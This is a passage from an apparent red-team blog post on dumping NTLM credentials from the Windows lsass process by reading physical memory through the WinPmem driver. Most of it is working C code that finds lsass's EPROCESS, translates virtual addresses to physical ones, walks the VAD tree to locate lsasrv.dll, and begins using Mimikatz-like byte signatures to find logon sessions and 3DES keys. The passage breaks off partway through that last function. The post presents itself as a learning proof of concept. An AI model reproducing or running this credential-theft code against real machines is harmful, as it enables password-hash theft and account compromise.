live machines during engagements. For example, in 2020 F-Secure published an article titled “Rethinking credential theft” and released a tool called “PhysMem2Profit”. In their article/tool they use WinPmem driver to read physical memory (a vulnerable driver with a read primitive would work too), creating a bridge with sockets between the target machine and the pentester machine, so they can create a minidump of lsass process that is compatible with Mimikatz with the help of Rekall. Working schema (from 'Rethinking Credential Theft') The steps they follow are: Expose the physical memory of the target over a TCP port. Connect to the TCP port and mount the physical memory as a file. Analyze the mounted memory with the help of the Rekall framework and create a minidump of LSASS. Run the minidump through Mimikatz and retrieve credential material. In our humble opinion, this approach is too convoluted and contains unnecessary steps. Also creating a socket between the two machines does not look fine to us. So… here comes our idea: let’s try to loot lsass from physical memory staying in the same machine and WITHOUT externals tools (like they did with rekall). It is a good opportunity to learn new things!kd It’s dangerous to go alone! Take this. As in any quest, we first need a map and a compass to find the treasure because the land of physical memory is dangerous and full of terrors. We can read arbitrary physical memory with WinPem or a driver vulnerable with a read primitive, but… How can we find the process memory? Well, our map is the AVL-tree that contains the VADs info and our compass is the EPROCESS struct. Let’s explain this! The Memory Manager needs to keep track of which virtual addresses has been reserved in the process’ address space. This information is contained in structs called “VAD” (Virtual Address Descriptor) and they are placed inside an AVL-tree (an AVL-tree is a self-balancing binary search tree). The tree is our map: if we find the first tree’s node we can start to walk it and retrieve all the VADs, and consequently we would get the knowledge of how the process memory is distributed (also, the VAD provides more useful information as we are going to see later). But… how can we find this tree? Well, we need the compass. And our compass is the EPROCESS. This structure contains a pointer to the tree (field VadRoot) and the number of nodes (VadCount? //0xa40 bytes (sizeof) struct _EPROCESS { struct _KPROCESS Pcb; //0x0 struct _EX_PUSH_LOCK ProcessLock; //0x438 VOID* UniqueProcessId; //0x440 struct _LIST_ENTRY ActiveProcessLinks; //0x448 struct _EX_RUNDOWN_REF RundownProtect; //0x458 //(...) struct _RTL_AVL_TREE VadRoot; //0x7d8 VOID* VadHint; //0x7e0 ULONGLONG VadCount; //0x7e8 //(...) Finding this structure in physical memory is easy. In the article “CVE-2019-8372: Local Privilege Elevation in LG Kernel Driver”, @Jackson_T uses a mask to find this structure. As we know some data (like the PID, the process name or the Priority value) we can use this as a signature and search the whole physical memory until we match it. We’ll know the name and PID for each process we’re targeting, so the UniqueProcessId and ImageFileName fields should be good candidates. Problem is that we won’t be able to accurately predict the values for every field between them. Instead, we can define two needles: one that has ImageFileName and another that has UniqueProcessId. We can see that their corresponding byte buffers have predictable outputs. (From Jackson_T post) So, we can search for our masks and then apply relative offsets to read the fields that we are interested in: int main(int argc, char** argv) { WINPMEM_MEMORY_INFO info; DWORD size; BOOL result = FALSE; int i = 0; LARGE_INTEGER large_start; DWORD found = 0; printf("[+] Getting WinPmem handle...\t"); pmem_fd = CreateFileA("\\\\.\\pmem", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (pmem_fd == INVALID_HANDLE_VALUE) { printf("ERROR!\n"); return -1; } printf("OK!\n"); RtlZeroMemory(&info, sizeof(WINPMEM_MEMORY_INFO)); printf("[+] Getting memory info...\t"); result = DeviceIoControl(pmem_fd, IOCTL_GET_INFO, NULL, 0, // in (char*)&info, sizeof(WINPMEM_MEMORY_INFO), // out &size, NULL); if (!result) { printf("ERROR!\n"); return -1; } printf("OK!\n"); printf("[+] Memory Info:\n"); printf("\t[-] Total ranges: %lld\n", info.NumberOfRuns.QuadPart); for (i = 0; i < info.NumberOfRuns.QuadPart; i++) { printf("\t\tStart 0x%08llX - Length 0x%08llx\n", info.Run[i].BaseAddress.QuadPart, info.Run[i].NumberOfBytes.QuadPart); max_physical_memory = info.Run[i].BaseAddress.QuadPart + info.Run[i].NumberOfBytes.QuadPart; } printf("\t[-] Max physical memory 0x%08llx\n", max_physical_memory); printf("[+] Scanning memory... "); for (i = 0; i < info.NumberOfRuns.QuadPart; i++) { start = info.Run[i].BaseAddress.QuadPart; end = info.Run[i].BaseAddress.QuadPart + info.Run[i].NumberOfBytes.QuadPart; while (start < end) { unsigned char* largebuffer = (unsigned char*)malloc(BUFF_SIZE); DWORD to_write = (DWORD)min((BUFF_SIZE), end - start); DWORD bytes_read = 0; DWORD bytes_written = 0; large_start.QuadPart = start; result = SetFilePointerEx(pmem_fd, large_start, NULL, FILE_BEGIN); if (!result) { printf("[!] ERROR! (SetFilePointerEx)\n"); } result = ReadFile(pmem_fd, largebuffer, to_write, &bytes_read, NULL); EPROCESS_NEEDLE needle_root_process = {"lsass.exe"}; PBYTE needle_buffer = (PBYTE)malloc(sizeof(EPROCESS_NEEDLE)); memcpy(needle_buffer, &needle_root_process, sizeof(EPROCESS_NEEDLE)); int offset = 0; offset = memmem((PBYTE)largebuffer, bytes_read, needle_buffer, sizeof(EPROCESS_NEEDLE)); // memmem() is the same used by Jackson_T in his post if (offset >= 0) { if (largebuffer[offset + 15] == 2) { //Priority Check if (largebuffer[offset - 0x168] == 0x70 && largebuffer[offset - 0x167] == 0x02) { //PID check, hardcoded for PoC, we can take in runtime but... too lazy :P printf("signature match at 0x%08llx!\n", offset + start); printf("[+] EPROCESS is at 0x%08llx [PHYSICAL]\n", offset - 0x5a8 + start); memcpy(&DirectoryTableBase, largebuffer + offset - 0x5a8 + 0x28, sizeof(ULONGLONG)); printf("\t[*] DirectoryTableBase: 0x%08llx\n", DirectoryTableBase); printf("\t[*] VadRoot is at 0x%08llx [PHYSICAL]\n", start + offset - 0x5a8 + 0x7d8); memcpy(&VadRootPointer, largebuffer + offset - 0x5a8 + 0x7d8, sizeof(ULONGLONG)); VadRootPointer = VadRootPointer; printf("\t[*] VadRoot points to 0x%08llx [VIRTUAL]\n", VadRootPointer); memcpy(&VadCount, largebuffer + offset - 0x5a8 + 0x7e8, sizeof(ULONGLONG)); printf("\t[*] VadCount is %lld\n", VadCount); free(needle_buffer); free(largebuffer); found = 1; break; } } } start += bytes_read; free(needle_buffer); free(largebuffer); } if (found != 0) { break; } } return 0; } And here is the ouput: [+] Getting WinPmem handle... OK! [+] Getting memory info... OK! [+] Memory Info: [-] Total ranges: 4 Start 0x00001000 - Length 0x0009e000 Start 0x00100000 - Length 0x00002000 Start 0x00103000 - Length 0xdfeed000 Start 0x100000000 - Length 0x20000000 [-] Max physical memory 0x120000000 [+] Scanning memory... signature match at 0x271c3628! [+] EPROCESS is at 0x271c3080 [PHYSICAL] [*] DirectoryTableBase: 0x29556000 [*] VadRoot is at 0x271c3858 [PHYSICAL] [*] VadRoot points to 0xffffa48bb0147290 [VIRTUAL] [*] VadCount is 165 Maybe you are wondering why are we interested in the field DirectoryTableBase. The thing is: from our point of view we only can work with physical memory, we do not “understand” what a virtual address is because to us they are “out of context”. We know about physical memory and offsets, not about virtual addresses bounded to a process. But we are going to deal with pointers to virtual memory so… we need a way to translate them. Lost in translation I like to compare virtual addresses with the code used in libraries to know the location of a book, where the first digits indicates the hall, the next the bookshelf, the column and finally the shelf where the book lies. Our virtual address is in some way just like the library code: it contains different indexes. Instead of talking about halls, columns or shelves, we have Page-Map-Level4 (PML4E), Page-Directory-Pointer (PDPE), Page-Directory (PDE), Page-Table (PTE) and the Page Physical Offset. From AMD64 Architecture Programmer’s Manual Volume 2. Those are the page levels for a 4KB page, for 2MB we have PML4E, PDPE, PDE and the offset. We can verify this information using kd and the command !vtop with different processes: For 4KB (Base 0x26631000, virtual adress to translate 0xffffc987034fd330): lkd> !vtop 26631000 0xffffc987034fd330 Amd64VtoP: Virt ffffc987034fd330, pagedir 0000000026631000 Amd64VtoP: PML4E 0000000026631c98 Amd64VtoP: PDPE 00000000046320e0 Amd64VtoP: PDE 0000000100a1c0d0 Amd64VtoP: PTE 000000001fa3f7e8 Amd64VtoP: Mapped phys 0000000026da8330 Virtual address ffffc987034fd330 translates to physical address 26da8330. For 2MB (Base 0x1998D000, virtual address to translate 0xffffaa83f4b35640): lkd> !vtop 1998D000 ffffaa83f4b35640 Amd64VtoP: Virt ffffaa83f4b35640, pagedir 000000001998d000 Amd64VtoP: PML4E 000000001998daa8 Amd64VtoP: PDPE 0000000004631078 Amd64VtoP: PDE 0000000004734d28 Amd64VtoP: Large page mapped phys 0000000108d35640 Virtual address ffffaa83f4b35640 translates to physical address 108d35640. What is it doing under the hood? Well, the picture of a 4KB page follows this explanation: if you turn the virtual address to its binary representation, you can split it into the indexes of each page level. So, imagine we want to translate the virtual address 0xffffa48bb0147290 and the process page base is 0x29556000 (let’s assume is a 4kb page, later we will explain how to know it). lkd> .formats ffffa48bb0147290 Evaluate expression: Hex: ffffa48b`b0147290 Decimal: -100555115171184 Octal: 1777775110566005071220 Binary: 11111111 11111111 10100100 10001011 10110000 00010100 01110010 10010000 Chars: ......r. Time: ***** Invalid FILETIME Float: low -5.40049e-010 high -1.#QNAN Double: -1.#QNAN Now we can split the bits in chunks: 12 bits for the Page Physical Offset, 9 for the PTE, 9 for the PDE, 9 for the PDPE and 9 for the PML4E: 1111111111111111 101001001 000101110 110000000 101000111 001010010000 Next we are going to take the chunk for PML4E and multiply by 0x8: lkd> .formats 0y101001001 Evaluate expression: Hex: 00000000`00000149 Decimal: 329 Octal: 0000000000000000000511 Binary: 00000000 00000000 00000000 00000000 00000000 00000000 00000001 01001001 Chars: .......I Time: Thu Jan 1 01:05:29 1970 Float: low 4.61027e-043 high 0 Double: 1.62548e-321 0x149 * 0x8 = 0xa48 Now we can use it as an offset: just add this value to the page base (0x29556a48). Next, read the physical memory at that location: lkd> !dq 29556a48 #29556a48 0a000000`04632863 00000000`00000000 #29556a58 00000000`00000000 00000000`00000000 #29556a68 00000000`00000000 00000000`00000000 #29556a78 00000000`00000000 00000000`00000000 #29556a88 00000000`00000000 00000000`00000000 #29556a98 00000000`00000000 00000000`00000000 #29556aa8 00000000`00000000 00000000`00000000 #29556ab8 00000000`00000000 00000000`00000000 Turn to zero the last 3 numbers, so we have 0x4632000. Now repeat the operation of multiplying the chunk of bits: kd> .formats 0y000101110 Evaluate expression: Hex: 00000000`0000002e Decimal: 46 Octal: 0000000000000000000056 Binary: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00101110 Chars: ........ Time: Thu Jan 1 01:00:46 1970 Float: low 6.44597e-044 high 0 Double: 2.2727e-322 So… 0x4632000 + (0x2e * 0x8) == 0x4632170. Read the physical memory at this point: lkd> !dq 4632170 # 4632170 0a000000`04735863 00000000`00000000 # 4632180 00000000`00000000 00000000`00000000 # 4632190 00000000`00000000 00000000`00000000 # 46321a0 00000000`00000000 00000000`00000000 # 46321b0 00000000`00000000 00000000`00000000 # 46321c0 00000000`00000000 00000000`00000000 # 46321d0 00000000`00000000 00000000`00000000 # 46321e0 00000000`00000000 00000000`00000000 Just repeat the same operation until the end (except for the last 12 bits, those no need to by multiplied by 0x8) and you have translated successfully your virtual address! Don’t trust me? Check it! kd> !vtop 0x29556000 0xffffa48bb0147290 Amd64VtoP: Virt ffffa48bb0147290, pagedir 0000000029556000 Amd64VtoP: PML4E 0000000029556a48 Amd64VtoP: PDPE 0000000004632170 Amd64VtoP: PDE 0000000004735c00 Amd64VtoP: PTE 0000000022246a38 Amd64VtoP: Mapped phys 000000001645b290 Virtual address ffffa48bb0147290 translates to physical address 1645b290. Ta-dá! Here is a sample function that we are going to use to translate virtual addresses (4Kb and 2Mb) to physical (ugly as hell, but works): ULONGLONG v2p(ULONGLONG vaddr) { BOOL result = FALSE; DWORD bytes_read = 0; LARGE_INTEGER PML4E; LARGE_INTEGER PDPE; LARGE_INTEGER PDE; LARGE_INTEGER PTE; ULONGLONG SIZE = 0; ULONGLONG phyaddr = 0; ULONGLONG base = 0; base = DirectoryTableBase; PML4E.QuadPart = base + extractBits(vaddr, 9, 39) * 0x8; //printf("[DEBUG Virtual Address: 0x%08llx]\n", vaddr); //printf("\t[*] PML4E: 0x%x\n", PML4E.QuadPart); result = SetFilePointerEx(pmem_fd, PML4E, NULL, FILE_BEGIN); PDPE.QuadPart = 0; result = ReadFile(pmem_fd, &PDPE.QuadPart, 7, &bytes_read, NULL); PDPE.QuadPart = extractBits(PDPE.QuadPart, 56, 12) * 0x1000 + extractBits(vaddr, 9, 30) * 0x8; //printf("\t[*] PDPE: 0x%08llx\n", PDPE.QuadPart); result = SetFilePointerEx(pmem_fd, PDPE, NULL, FILE_BEGIN); PDE.QuadPart = 0; result = ReadFile(pmem_fd, &PDE.QuadPart, 7, &bytes_read, NULL); PDE.QuadPart = extractBits(PDE.QuadPart, 56, 12) * 0x1000 + extractBits(vaddr, 9, 21) * 0x8; //printf("\t[*] PDE: 0x%08llx\n", PDE.QuadPart); result = SetFilePointerEx(pmem_fd, PDE, NULL, FILE_BEGIN); PTE.QuadPart = 0; result = ReadFile(pmem_fd, &SIZE, 8, &bytes_read, NULL); if (extractBits(SIZE, 1, 63) == 1) { result = SetFilePointerEx(pmem_fd, PDE, NULL, FILE_BEGIN); result = ReadFile(pmem_fd, &phyaddr, 7, &bytes_read, NULL); phyaddr = extractBits(phyaddr, 56, 20) * 0x100000 + extractBits(vaddr, 21, 0); //printf("\t[*] Physical Address: 0x%08llx\n", phyaddr); return phyaddr; } result = SetFilePointerEx(pmem_fd, PDE, NULL, FILE_BEGIN); PTE.QuadPart = 0; result = ReadFile(pmem_fd, &PTE.QuadPart, 7, &bytes_read, NULL); PTE.QuadPart = extractBits(PTE.QuadPart, 56, 12) * 0x1000 + extractBits(vaddr, 9, 12) * 0x8; //printf("\t[*] PTE: 0x%08llx\n", PTE.QuadPart); result = SetFilePointerEx(pmem_fd, PTE, NULL, FILE_BEGIN); result = ReadFile(pmem_fd, &phyaddr, 7, &bytes_read, NULL); phyaddr = extractBits(phyaddr, 56, 12) * 0x1000 + extractBits(vaddr, 12, 0); //printf("\t[*] Physical Address: 0x%08llx\n", phyaddr); return phyaddr; } Well, now we can work with virtual addresses. Let’s move! Lovin’ Don’t Grow On Trees The next task to solve is to walk the AVL tree and extract all the VADs. Let’s check the VadRoot pointer: lkd> dq ffffa48bb0147290 ffffa48b`b0147290 ffffa48b`b0146c50 ffffa48b`b01493b0 ffffa48b`b01472a0 00000000`00000001 ff643ab1`ff643aa0 ffffa48b`b01472b0 00000000`00000707 00000000`00000000 ffffa48b`b01472c0 00000003`000003a0 00000000`00000000 ffffa48b`b01472d0 00000000`04000000 ffffa48b`b014daa0 ffffa48b`b01472e0 ffffd100`10b56f40 ffffd100`10b56fc8 ffffa48b`b01472f0 ffffa48b`b014da28 ffffa48b`b014da28 ffffa48b`b0147300 ffffa48b`b016e081 00007ff6`43aa5002 The first thing we can see is the pointer to the left node (offset 0x00-0x07) and the pointer to the right node (0x08-0x10). We have to add them to a queue and check them later, and add their respective new children nodes, repeating this operation in order to walk the whole tree. Also combining 4 bytes from 0x18 and 1 byte from 0x20 we get the starting address of the described memory region (the ending virtual addrees is obtained combining 4 bytes from 0x1c and 1 byte from 0x21). So we can walk the whole tree doing something like: //(...) currentNode = queue[cursor]; // Current Node, at start it is the VadRoot pointer if (currentNode == 0) { cursor++; continue; } reader.QuadPart = v2p(currentNode); // Get Physical Address left = readPhysMemPointer(reader); //Read 8 bytes and save it as "left" node queue[last++] = left; //Add the new node //printf("[<] Left: 0x%08llx\n", left); reader.QuadPart = v2p(currentNode + 0x8); // Get Physical Address of right node right = readPhysMemPointer(reader); //Save the pointer queue[last++] = right; //Add the new node //printf("[>] Right: 0x%08llx\n", right); // Get the start address reader.QuadPart = v2p(currentNode + 0x18); result = SetFilePointerEx(pmem_fd, reader, NULL, FILE_BEGIN); result = ReadFile(pmem_fd, &startingVpn, 4, &bytes_read, NULL); reader.QuadPart = v2p(currentNode + 0x20); result = SetFilePointerEx(pmem_fd, reader, NULL, FILE_BEGIN); result = ReadFile(pmem_fd, &startingVpnHigh, 1, &bytes_read, NULL); start = (startingVpn << 12) | (startingVpnHigh << 44); // Get the end address reader.QuadPart = v2p(currentNode + 0x1c); result = SetFilePointerEx(pmem_fd, reader, NULL, FILE_BEGIN); result = ReadFile(pmem_fd, &endingVpn, 4, &bytes_read, NULL); reader.QuadPart = v2p(currentNode + 0x21); result = SetFilePointerEx(pmem_fd, reader, NULL, FILE_BEGIN); result = ReadFile(pmem_fd, &endingVpnHigh, 1, &bytes_read, NULL); end = (((endingVpn + 1) << 12) | (endingVpnHigh << 44)); //(...) Now we can retrieve all the regions of virtual memory reserved, and the limits (starting address and ending address, and by substraction the size): [+] Starting to walk _RTL_AVL_TREE... ===================[VAD info]=================== [0] (0xffffa48bb0147290) [0x7ff643aa0000-0x7ff643ab2000] (73728 bytes) [1] (0xffffa48bb0146c50) [0x1d4d2ef0000-0x1d4d2f0d000] (118784 bytes) [2] (0xffffa48bb01493b0) [0x7ff845000000-0x7ff845027000] (159744 bytes) [3] (0xffffa48bb0179300) [0x80cbf00000-0x80cbf80000] (524288 bytes) [4] (0xffffa48bb01795d0) [0x1d4d36a0000-0x1d4d36a1000] (4096 bytes) [5] (0xffffa48bb01a1390) [0x7ff844540000-0x7ff84454c000] (49152 bytes) But VADs contains other interesting metadata. For example, if the region is reserved for a image file, we can retrieve the path of that file. This is important for us because we want to locate the loaded lsasrv.dll inside the lsass process because from here is where we are going to loot credentials (imitating the Mimikatz’s sekurlsa::msv to get NTLM hashes). Let’s take a ride through the __mmvad struct (follow the arrows!): lkd> dt nt!_mmvad 0xffffe786`ed185cf0 +0x000 Core : _MMVAD_SHORT +0x040 u2 : <anonymous-tag> +0x048 Subsection : 0xffffe786`ed185d60 _SUBSECTION <=========== +0x050 FirstPrototypePte : (null) +0x058 LastContiguousPte : 0x00000002`00000006 _MMPTE +0x060 ViewLinks : _LIST_ENTRY [ 0x00000006`00000029 - 0x00000000`00000000 ] +0x070 VadsProcess : 0xffffe786`ed185c70 _EPROCESS +0x078 u4 : <anonymous-tag> +0x080 FileObject : 0xffffe786`ed185d98 _FILE_OBJECT kd> dt nt!_SUBSECTION 0xffffe786`ed185d60 +0x000 ControlArea : 0xffffe786`ed185c70 _CONTROL_AREA <============================== +0x008 SubsectionBase : 0xffffae0e`cab53f58 _MMPTE +0x010 NextSubsection : 0xffffe786`ed185d98 _SUBSECTION +0x018 GlobalPerSessionHead : _RTL_AVL_TREE +0x018 CreationWaitList : (null) +0x018 SessionDriverProtos : (null) +0x020 u : <anonymous-tag> +0x024 StartingSector : 0x2b +0x028 NumberOfFullSectors : 0x2c +0x02c PtesInSubsection : 6 +0x030 u1 : <anonymous-tag> +0x034 UnusedPtes : 0y000000000000000000000000000000 (0) +0x034 ExtentQueryNeeded : 0y0 +0x034 DirtyPages : 0y0 lkd> dt nt!_CONTROL_AREA 0xffffe786`ed185c70 +0x000 Segment : 0xffffae0e`ce0c9f50 _SEGMENT +0x008 ListHead : _LIST_ENTRY [ 0xffffe786`ed1b1210 - 0xffffe786`ed1b1210 ] +0x008 AweContext : 0xffffe786`ed1b1210 Void +0x018 NumberOfSectionReferences : 1 +0x020 NumberOfPfnReferences : 0xf +0x028 NumberOfMappedViews : 1 +0x030 NumberOfUserReferences : 2 +0x038 u : <anonymous-tag> +0x03c u1 : <anonymous-tag> +0x040 FilePointer : _EX_FAST_REF <================= +0x048 ControlAreaLock : 0n0 +0x04c ModifiedWriteCount : 0 +0x050 WaitList : (null) +0x058 u2 : <anonymous-tag> +0x068 FileObjectLock : _EX_PUSH_LOCK +0x070 LockedPages : 1 +0x078 u3 : <anonymous-tag> So at 0xffffe786ed185c70 plus 0x40 we have a field called FilePointer and it is an EX_FAST_REF. In order to retrieve the correct pointer, we have to retrieve the pointer from this position and turn to zero the last digit: lkd> dt nt!_EX_FAST_REF 0xffffe786`ed185c70+0x40 +0x000 Object : 0xffffe786`ed19539c Void <=========================== & 0xfffffffffffffff0 +0x000 RefCnt : 0y1100 +0x000 Value : 0xffffe786`ed19539c So 0xffffe786ed19539c & 0xfffffffffffffff0 is 0xffffe786ed195390, which is a pointer to a _FILE_OBJECT struct: lkd> dt nt!_FILE_OBJECT 0xffffe786`ed195390 +0x000 Type : 0n5 +0x002 Size : 0n216 +0x008 DeviceObject : 0xffffe786`e789c060 _DEVICE_OBJECT +0x010 Vpb : 0xffffe786`e77df4c0 _VPB +0x018 FsContext : 0xffffae0e`cd2c8170 Void +0x020 FsContext2 : 0xffffae0e`cd2c83e0 Void +0x028 SectionObjectPointer : 0xffffe786`ed18e7f8 _SECTION_OBJECT_POINTERS +0x030 PrivateCacheMap : (null) +0x038 FinalStatus : 0n0 +0x040 RelatedFileObject : (null) +0x048 LockOperation : 0 '' +0x049 DeletePending : 0 '' +0x04a ReadAccess : 0x1 '' +0x04b WriteAccess : 0 '' +0x04c DeleteAccess : 0 '' +0x04d SharedRead : 0x1 '' +0x04e SharedWrite : 0 '' +0x04f SharedDelete : 0x1 '' +0x050 Flags : 0x44042 +0x058 FileName : _UNICODE_STRING "\Windows\System32\lsass.exe" <======== /!\ +0x068 CurrentByteOffset : _LARGE_INTEGER 0x0 +0x070 Waiters : 0 +0x074 Busy : 0 +0x078 LastLock : (null) +0x080 Lock : _KEVENT +0x098 Event : _KEVENT +0x0b0 CompletionContext : (null) +0x0b8 IrpListLock : 0 +0x0c0 IrpList : _LIST_ENTRY [ 0xffffe786`ed195450 - 0xffffe786`ed195450 ] +0x0d0 FileObjectExtension : (null) Finally! At offset 0x58 is an _UNICODE_STRING struct that contains the path to the image asociated with this memory region. In order to get this info, we need to parse each node found and get deep in this rollercoaster of structs, reading each pointer from the target offset. So… finally we are going to have something like: void walkAVL(ULONGLONG VadRoot, ULONGLONG VadCount) { /* Variables used to walk the AVL tree*/ ULONGLONG* queue; BOOL result; DWORD bytes_read = 0; LARGE_INTEGER reader; ULONGLONG cursor = 0; ULONGLONG count = 1; ULONGLONG last = 1; ULONGLONG startingVpn = 0; ULONGLONG endingVpn = 0; ULONGLONG startingVpnHigh = 0; ULONGLONG endingVpnHigh = 0; ULONGLONG start = 0; ULONGLONG end = 0; VAD* vadList = NULL; printf("[+] Starting to walk _RTL_AVL_TREE...\n"); queue = (ULONGLONG *)malloc(sizeof(ULONGLONG) * VadCount * 4); // Make room for our queue queue[0] = VadRoot; // Node 0 vadList = (VAD*)malloc(VadCount * sizeof(*vadList)); // Save all the VADs in an array. We do not really need it (because we can just break when the lsasrv.dll is found) but hey... maybe we want to reuse this code in the future while (count <= VadCount) { ULONGLONG currentNode; ULONGLONG left = 0; ULONGLONG right = 0; ULONGLONG subsection = 0; ULONGLONG control_area = 0; ULONGLONG filepointer = 0; ULONGLONG fileobject = 0; ULONGLONG filename = 0; USHORT pathLen = 0; LPWSTR path = NULL; // printf("Cursor [%lld]\n", cursor); currentNode = queue[cursor]; // Current Node, at start it is the VadRoot pointer if (currentNode == 0) { cursor++; continue; } reader.QuadPart = v2p(currentNode); // Get Physical Address left = readPhysMemPointer(reader); //Read 8 bytes and save it as "left" node queue[last++] = left; //Add the new node //printf("[<] Left: 0x%08llx\n", left); reader.QuadPart = v2p(currentNode + 0x8); // Get Physical Address of right node right = readPhysMemPointer(reader); //Save the pointer queue[last++] = right; //Add the new node //printf("[>] Right: 0x%08llx\n", right); // Get the start address reader.QuadPart = v2p(currentNode + 0x18); result = SetFilePointerEx(pmem_fd, reader, NULL, FILE_BEGIN); result = ReadFile(pmem_fd, &startingVpn, 4, &bytes_read, NULL); reader.QuadPart = v2p(currentNode + 0x20); result = SetFilePointerEx(pmem_fd, reader, NULL, FILE_BEGIN); result = ReadFile(pmem_fd, &startingVpnHigh, 1, &bytes_read, NULL); start = (startingVpn << 12) | (startingVpnHigh << 44); // Get the end address reader.QuadPart = v2p(currentNode + 0x1c); result = SetFilePointerEx(pmem_fd, reader, NULL, FILE_BEGIN); result = ReadFile(pmem_fd, &endingVpn, 4, &bytes_read, NULL); reader.QuadPart = v2p(currentNode + 0x21); result = SetFilePointerEx(pmem_fd, reader, NULL, FILE_BEGIN); result = ReadFile(pmem_fd, &endingVpnHigh, 1, &bytes_read, NULL); end = (((endingVpn + 1) << 12) | (endingVpnHigh << 44)); //Get the pointer to Subsection (offset 0x48 of __mmvad) reader.QuadPart = v2p(currentNode + 0x48); subsection = readPhysMemPointer(reader); if (subsection != 0 && subsection != 0xffffffffffffffff) { //Get the pointer to ControlArea (offset 0 of _SUBSECTION) reader.QuadPart = v2p(subsection); control_area = readPhysMemPointer(reader); if (control_area != 0 && control_area != 0xffffffffffffffff) { //Get the pointer to FileObject (offset 0x40 of _CONTROL_AREA) reader.QuadPart = v2p(control_area + 0x40); fileobject = readPhysMemPointer(reader); if (fileobject != 0 && fileobject != 0xffffffffffffffff) { // It is an _EX_FAST_REF, so we need to mask the last byte fileobject = fileobject & 0xfffffffffffffff0; //Get the pointer to path length (offset 0x58 of _FILE_OBJECT is _UNICODE_STRING, the len plus null bytes is at +0x2) reader.QuadPart = v2p(fileobject + 0x58 + 0x2); result = SetFilePointerEx(pmem_fd, reader, NULL, FILE_BEGIN); result = ReadFile(pmem_fd, &pathLen, 2, &bytes_read, NULL); //Get the pointer to the path name (offset 0x58 of _FILE_OBJECT is _UNICODE_STRING, the pointer to the buffer is +0x08) reader.QuadPart = v2p(fileobject + 0x58 + 0x8); filename = readPhysMemPointer(reader); //Save the path name path = (LPWSTR)malloc(pathLen * sizeof(wchar_t)); reader.QuadPart = v2p(filename); result = SetFilePointerEx(pmem_fd, reader, NULL, FILE_BEGIN); result = ReadFile(pmem_fd, path, pathLen * 2, &bytes_read, NULL); } } } /*printf("[0x%08llx]\n", currentNode); printf("[!] Subsection 0x%08llx\n", subsection); printf("[!] ControlArea 0x%08llx\n", control_area); printf("[!] FileObject 0x%08llx\n", fileobject); printf("[!] PathLen %d\n", pathLen); printf("[!] Buffer with path name 0x%08llx\n", filename); printf("[!] Path name: %S\n", path); */ // Save the info in our list vadList[count - 1].id = count - 1; vadList[count - 1].vaddress = currentNode; vadList[count - 1].start = start; vadList[count - 1].end = end; vadList[count - 1].size = end - start; memset(vadList[count - 1].image, 0, MAX_PATH); if (path != NULL) { wcstombs(vadList[count - 1].image, path, MAX_PATH); free(path); } count++; cursor++; } //Just print the VAD list printf("\t\t===================[VAD info]===================\n"); for (int i = 0; i < VadCount; i++) { printf("[%lld] (0x%08llx) [0x%08llx-0x%08llx] (%lld bytes)\n", vadList[i].id, vadList[i].vaddress, vadList[i].start, vadList[i].end, vadList[i].size); if (vadList[i].image[0] != 0) { printf(" |\n +---->> %s\n", vadList[i].image); } } printf("\t\t================================================\n"); for (int i = 0; i < VadCount; i++) { if (!strcmp(vadList[i].image, "\\Windows\\System32\\lsasrv.dll")) { // Is this our target? printf("[!] LsaSrv.dll found! [0x%08llx-0x%08llx] (%lld bytes)\n", vadList[i].start, vadList[i].end, vadList[i].size); // TODO lootLsaSrv(vadList[i].start, vadList[i].end, vadList[i].size); break; } } free(vadList); free(queue); return; } This looks like… (...) [161] (0xffffa48baf677ba0) [0x7ff8122b0000-0x7ff8122e0000] (196608 bytes) | +---->> \Windows\System32\CertPolEng.dll [162] (0xffffa48bb1f640a0) [0x7ff8183e0000-0x7ff818422000] (270336 bytes) | +---->> \Windows\System32\ngcpopkeysrv.dll [163] (0xffffa48bb1f63ce0) [0x7ff83df10000-0x7ff83df2a000] (106496 bytes) | +---->> \Windows\System32\tbs.dll [164] (0xffffa48bb1f66a80) [0x7ff83e270000-0x7ff83e2e3000] (471040 bytes) | +---->> \Windows\System32\cryptngc.dll ================================================ [!] LsaSrv.dll found! [0x7ff845130000-0x7ff8452ce000] (1695744 bytes) To recap at this point we: Can translate virtual addresses to physical Got the location of the LsaSrv.dll module inside the lsass process memory Stray Mimikatz sings Runnaway Boys This time we are only interested in retrieving NTLM Hashes, so we are going to implement something like the sekurlsa::msv from Mimikatz as PoC (once we have located the process memory, and its modules, it is trivial to imitate any functionatility from Mimikatz so I picked the quickier to implement as PoC). This is well explained in the article “Uncovering Mimikatz ‘msv’ and collecting credentials through PyKD” from Matteo Malvica, so it is redundant to explain it again here… but in essence we are going to search for signatures inside lsasrv.dll and then retrieve the info needed to locate the LogonSessionList struct and the crypto keys/IVs needed. Also another good related article to read is “Exploring Mimikatz - Part 1 - WDigest” by @xpn. As I am imitating the post from Matteo Malvica, I am going to retrieve only the cryptoblob encrypted with Triple-DES. Here is our shitty code: void lootLsaSrv(ULONGLONG start, ULONGLONG end, ULONGLONG size) { LARGE_INTEGER reader; DWORD bytes_read = 0; LPSTR lsasrv = NULL; ULONGLONG cursor = 0; ULONGLONG lsasrv_size = 0; ULONGLONG original = 0; BOOL result; ULONGLONG LogonSessionListCount = 0; ULONGLONG LogonSessionList = 0; ULONGLONG LogonSessionList_offset = 0; ULONGLONG LogonSessionListCount_offset = 0; ULONGLONG iv_offset = 0; ULONGLONG hDes_offset = 0; ULONGLONG DES_pointer = 0; unsigned char* iv_vector = NULL; unsigned char* DES_key = NULL; KIWI_BCRYPT_HANDLE_KEY h3DesKey; KIWI_BCRYPT_KEY81 extracted3DesKey; LSAINITIALIZE_NEEDLE LsaInitialize_needle = { 0x83, 0x64, 0x24, 0x30, 0x00, 0x48, 0x8d, 0x45, 0xe0, 0x44, 0x8b, 0x4d, 0xd8, 0x48, 0x8d, 0x15 }; LOGONSESSIONLIST_NEEDLE LogonSessionList_needle = { 0x33, 0xff, 0x41, 0x89, 0x37, 0x4c, 0x8b, 0xf3, 0x45, 0x85, 0xc0, 0x74 }; PBYTE LsaInitialize_needle_buffer = NULL; PBYTE needle_buffer = NULL; int offset_LsaInitialize_needle = 0; int offset_LogonSessionList_needle = 0; ULONGLONG currentElem = 0; original = start; /* Save the whole region in a buffer */ lsasrv = (LPSTR)malloc(size); while (start < end) { DWORD bytes_read = 0; DWORD bytes_written = 0; CHAR tmp = NULL; reader.QuadPart = v2p(start); result = 